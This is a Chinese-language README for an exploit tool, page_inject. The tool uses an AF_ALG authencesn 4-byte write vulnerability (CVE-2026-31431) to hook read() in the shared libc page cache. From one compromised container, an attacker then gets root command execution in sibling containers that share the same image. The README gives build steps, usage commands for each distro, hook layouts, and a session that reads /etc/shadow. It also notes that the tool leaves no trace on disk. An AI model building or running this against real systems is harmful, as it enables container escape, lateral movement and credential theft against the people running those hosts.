AF_ALG aead 漏洞跨容器利用——从一个被攻陷的容器横向移动到每一个共享同一 libc.so.6 镜像层的兄弟容器。
这是一个逃逸原语:它运行在攻击者已经攻陷的未授权容器内部,并利用 AF_ALG authencesn ESN 旋转 4 字节任意写入漏洞(CVE-2026-31431)在 libc.so.6 的页缓存页中植入一个持久的 read() 钩子。由于 Docker/containerd 使用共享 inode 支持 overlayfs 下层文件,这些页面对从同一镜像实例化的每个兄弟容器都可见——钩子也会在它们的进程中触发,攻击者从而在每个容器内获得命令执行能力。
victim)拥有 Shell 访问权,该主机还运行着与 victim 使用同一镜像的其他容器(siblings)。victim 使用默认 Docker/k8s 配置运行:容器用户命名空间内的非特权 UID、默认 seccomp 配置文件、默认 AppArmor 配置文件、无特殊权限、无主机绑定挂载。victim 仅有:
/usr/lib/x86_64-linux-gnu/libc.so.6 或发行版安装的位置)socket(AF_ALG, ...) 系统调用族splice / vmsplice 系统调用chmod +x 目录(如 /tmp)的写入权限algif_aead + authencesn)。仅此而已。无需特殊的 CAP_*,无需主机文件系统访问。攻击者将一个自包含的静态链接二进制文件放入容器内运行,页缓存损坏——进而钩子——对每个兄弟容器都可见。
页缓存页身份。 在 overlayfs 容器内,/usr/lib/.../libc.so.6 由下层镜像层的 ext4 inode 提供服务。从同一镜像启动的每个容器共享该后端 inode,并且内核的页缓存由底层 inode 键控——而非由 overlay 或命名空间决定。因此,对页缓存页的一次 4 字节写入对所有具有该页 mmap 的兄弟容器进程都可见。
AF_ALG aead 漏洞将一次写入转变为多次。 algif_aead 将用户 RX iovec 与拼接后的 TX SGL 末尾的 authsize 字节连接起来,而 authencesn 的 ESN 旋转将 AAD 的 seq_high 字段的 4 字节放置在 dst[assoclen + cryptlen] 处——即该连接的外部尾部的第一个字节。拼接页面是攻击者仅具有读取权限的文件的页缓存页,但密码操作仍将字节复制到其中,且不进行脏记账。(参见 crypto/algif_aead.c 和 crypto/authencesn.c 了解底层机制。)
引导可调用的原语。 page_inject 做的第一件事是引导区域 A——一个汇编编码的、相同 AF_ALG 操作(write_cache.asm)的重实现,放置在 libc 的 .text 空洞内。这使得 4 字节写入成为未来任何钩子负载中的常规 call,无需每次调用都进行 Socket 设置。
注入器在受害容器外部构建——通常是在攻击者自己的开发机器上——因为大多数生产容器镜像不包含编译器。需要具备 gcc(支持 -static 链接)和 nasm 的标准 Linux x86_64 开发环境。
make # 通过 gen_arrays.sh 汇编 .asm 源文件,链接静态 page_inject
make shellcode # 同时生成可供检查的 .bin 平面二进制文件
make clean # 删除生成的文件和二进制文件
输出是一个单独的静态链接 ELF(./page_inject),可在任何现代 x86_64 Linux 内核上运行。
一旦攻击者在 victim 上获得 Shell,他们将二进制文件上传到可写目录(通常为 /tmp):
# 在已攻陷的容器内部,攻击者会话
victim$ ./page_inject
无参数时,page_inject 默认使用 /usr/lib/x86_64-linux-gnu/libc.so.6(Debian/Ubuntu 合并后的位置)。对于其他发行版,libc 位于不同路径;可以显式传递路径,或使用 --root / 从容器根目录扫描内置查找表:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# 自动检测,不限发行版:
victim$ ./page_inject --root /
上述任一调用效果相同:ELF 解析容器内的 libc,在其页缓存中安装钩子,在大约 30 秒内监视槽表以等待兄弟容器注册,并对第一个注册的兄弟容器执行一次性的 id 作为完备性检查。
引导完成后,可进入命令 Shell 以驱动任何已注册的兄弟容器:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook 一次性从所有兄弟容器中清除钩子,并让钩子子进程自行终止。
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> 使用内置固定路径查找表,在 <prefix> 下自动解析 libc.so.6。
在受害容器内通常为 --root / 。
--shell [0xKEY] 注入后进入交互式命令 Shell。可选 KEY 预选目标。
--no-bootstrap 跳过注入(仅 Shell;钩子必须已在页缓存中生效)。
--timeout SEC --shell 模式下的槽监视超时(默认 30 秒)。
--help, -h 显示帮助。
默认 libc(当未指定 --root 且未提供 LIBC_PATH 时):
/usr/lib/x86_64-linux-gnu/libc.so.6
不同的 glibc 构建在可执行 LOAD 段与下一个只读 LOAD 段之间留下不同大小的 .text 空洞空间。page_inject 在注入时选择两种布局之一:
路径 A——仅 libc(默认)。 区域 C 和区域 A 均位于 libc 的 .text 空洞内。槽表 + CMD + OUTPUT 区域位于 libc 的 .hash 节中——这是古老的 SysV 哈希数据,ld.so 在运行时不再读取它,因为它使用 .gnu.hash。当 .hash 不存在时(Arch 的现代工具链),page_inject 改为从 .eh_frame_hdr 的尾部切割出槽区域,首先缩小 fde_count 字段,以便展开器不再将释放的字节视为 FDE 二叉搜索索引的一部分(展开器会透明地退化为对 .eh_frame 的线性扫描,以查找其 FDE 曾在截断范围内的任何 IP——LSB 规定行为)。
路径 B——libc 跳板 + ld.so 负载。 某些 glibc 构建将 libc 空洞缩小到低于完整区域 C + 区域 A 负载所需的大小(Ubuntu 24.04 / glibc 2.39 仅有 711 字节空洞)。在这种情况下,page_inject 将一个 36 字节的跳板写入 libc 的空洞——它执行 libc 内部的快速路径 .bss 键门控——并在慢速路径上,根据 libc 中 _rtld_global 的 GOT 槽(每个 glibc 私有导入的 ld.so 端符号)计算 ld.so 的运行时基址,然后跳转到 ld.so 的 .text 空洞中的一个基址寄存器变体区域 C。槽表 + CMD + OUTPUT + .bss 键保留在 libc 中;ld.so 端的区域 C 通过跳板设置的 后的 到达它们。
如果两种布局都不适合,page_inject 会干净地拒绝,不会向磁盘或页缓存中的 libc 或 ld.so 写入任何内容。
read() 序言处理不同 glibc 版本在 read() 中发出不同的起始序列。注入器识别每一种,读取钩子所替换的字节,并在区域 C 的快速路径中模拟它们,以便单线程的 read() 在 read+N 处正确恢复:
区域 C 中的快速路径模拟槽大小为已知最长序言(8 字节)加上 5 字节的 rel32 跳转;较短的序言用 NOP 填充剩余槽字节,使槽总长度恒定。
page_inject/
page_inject.c 主注入器:ELF 解析,漏洞原语,双路径布局选择,注入 + 取消挂钩。
zone_c.asm 路径 A 钩子分发器 Shellcode。
zone_c_ld.asm 路径 B 钩子分发器(rbp 基址变体)。
trampoline.asm 路径 B 36 字节 libc 端存根。
write_cache.asm 区域 A(漏洞写入原语 Shellcode)。
gen_arrays.sh 汇编 .asm -> asm_bytecode.c。
asm_bytecode.c [生成] Shellcode 字节数组。
Makefile 构建系统。
该漏洞已在以下容器快照发行版上进行了端到端验证。每个条目均已从一个容器内部注入 page_inject,并看到钩子在从同一镜像启动的兄弟容器中触发;通过页缓存通道正确执行命令;取消挂钩干净地恢复了 libc 页面状态。
page_inject 故意是静态链接的,以便攻击者自身的进程不受所安装钩子的影响。page_inject 能识别“已挂钩”的 libc(在 read() 序言处为 E9 + NOP),并拒绝重新注入。如果您在测试环境中且页缓存卡在该状态,请停止所有使用该镜像的容器并执行 drop_caches 以重置。安装钩子。 然后注入器将区域 C(zone_c.asm)写入 libc 的 .text 空洞,并将 read() 的前 7-12 个字节修补为跳转到该处的 E9 disp32。序言中被替换的字节在区域 C 的快速路径中被忠实地模拟(识别出三种不同的 glibc 序言——见下方的“read() 序言处理”)。钩子现在在 libc 的页缓存中生效。
钩子传播。 每个兄弟容器都有持续调用 read() 的进程(日志守护进程、健康检查、cat /etc/hostname,任何操作)。在兄弟容器内的首次此类调用中,被劫持的序言跳转到区域 C,区域 C 执行以下操作:
stat("/") 获取容器的根 inode(每个命名空间稳定的 ID),将其用作容器的槽键,fork() 出一个长期运行的命令循环子进程,该子进程轮询 CMD 区域以获取命令,read()+N,使调用者毫无察觉。
原始兄弟进程继续运行。从现在开始,攻击者在该容器内拥有一个守护进程。命令通道。 攻击者使用相同的 page_inject 二进制文件以 --shell 模式将命令写入槽区域的 CMD 区域。每个注册的兄弟容器钩子子进程轮询,fork 出一个 /bin/sh -c <cmd>,将 stdout/stderr 捕获到 OUTPUT 区域,发出完成信号,然后继续轮询。Shell 显示输出。由于每个 CMD/OUTPUT 写入同样通过漏洞原语进行,因此无需特殊权限。
取消挂钩。 完成后,unhook 恢复 read() 的原始序言字节并将槽表清零;钩子子进程在下一次迭代中看到空槽并自行终止。页缓存修改本身是干净的(内核从未将修改后的页面标记为脏),因此一旦每个将 libc 映射到内存的容器停止,drop_caches 即可完全还原缓存——磁盘上不留任何痕迹。
rbp = libc_baserbp + 偏移| Glibc 范围 | 序言(可选 endbr64 之后) | 注释 |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 字节;模拟的 cmpb 设置 ZF,供原始 jne .Lthreaded 使用。 |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 字节;逐字节模拟。 |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 字节;逐字节模拟(FS 前缀 [disp32] 是绝对的,非 RIP 相对,因此字节复制是忠实的)。 |
| 镜像 | glibc | 注入路径 | Read() 序言 | 槽区域 |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash(libc 端,通过来自 ld.so 的 rbp 寻址) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr(截断尾部) |